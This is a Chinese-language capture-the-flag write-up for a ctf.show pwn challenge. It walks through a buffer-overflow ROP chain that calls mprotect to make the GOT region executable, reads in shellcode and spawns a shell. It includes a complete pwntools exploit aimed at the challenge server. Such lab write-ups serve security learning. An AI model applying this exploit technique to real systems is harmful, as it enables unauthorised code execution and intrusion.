- 首先可以了解mprotect函数,这有佬的文章,可以先看一下
- 静态文件基本都有mprotect函数
- 我们们的思路基本就是,利用mprotect函数修改某段的权限,然后将shellcode写入这段
开始写wp
先用IDA打开有mprotect函数
用一下命令查看

圈出部分显示是静态文件
我们先用mprotect函数修改一段的权限(就选got表)

可以看到got的起始地址是0x80da000,先构造mprotect的payload
查看mprotect函数的地址

用ROPgadget来找pop ret
1
| ROPgadget --binary pwn --only “pop|ret” | grep "pop"
|

mprotect的第一个参数是需要修改内存的地址,第二个参数是内存空间的大小,第三是需要赋予的权限,再将mprotect的返回地址设置为read的地址,用来读取shellcode
1 2 3 4 5 6 7
| payload = (0x12 + 0x04) * b'a' payload += p32(0x0806cdd0) # mprotect函数地址 payload += p32(0x08056194) # 3 pop 1 ret地址 payload += p32(0x080da000) # 需要修改的内存的起始地址 payload += p32(0x1000) # 修改内存空间的大小 payload += p32(0x7) # 需要赋予的权限 payload += p32(0x806bee0) # read函数地址
|
再找read的地址,0x806BEE0,read第一个参数是一随便写点就可以,参数二就是我们的shellcode,参数三是读取的大小

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| payload = (0x12 + 0x04) * b'a' payload += p32(0x0806cdd0) # mprotect函数地址 payload += p32(0x08056194) # 3 pop 1 ret地址 payload += p32(0x080da000) # 需要修改的内存的起始地址 payload += p32(0x1000) # 修改内存空间的大小 payload += p32(0x7) # 需要赋予的权限
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload += p32(0x806bee0) # read函数地址 payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址) payload += p32(0x0) payload += p32(0x080da000) # shellcode地址 payload += p32(len(shellcode))
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import *
r = remote("pwn.challenge.ctf.show", "28313") payload = (0x12 + 0x04) * b'a' payload += p32(0x0806cdd0) # mprotect函数地址 payload += p32(0x08056194) # 3 pop 1 ret地址 payload += p32(0x080da000) # 需要修改的内存的起始地址 payload += p32(0x1000) # 修改内存空间的大小 payload += p32(0x7) # 需要赋予的权限
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload += p32(0x806bee0) # read函数地址 payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址) payload += p32(0x0) payload += p32(0x080da000) # shellcode地址 payload += p32(len(shellcode)) r.recvuntil(" * ************************************* ") r.sendline(payload) r.sendline(shellcode) r.interactive()
|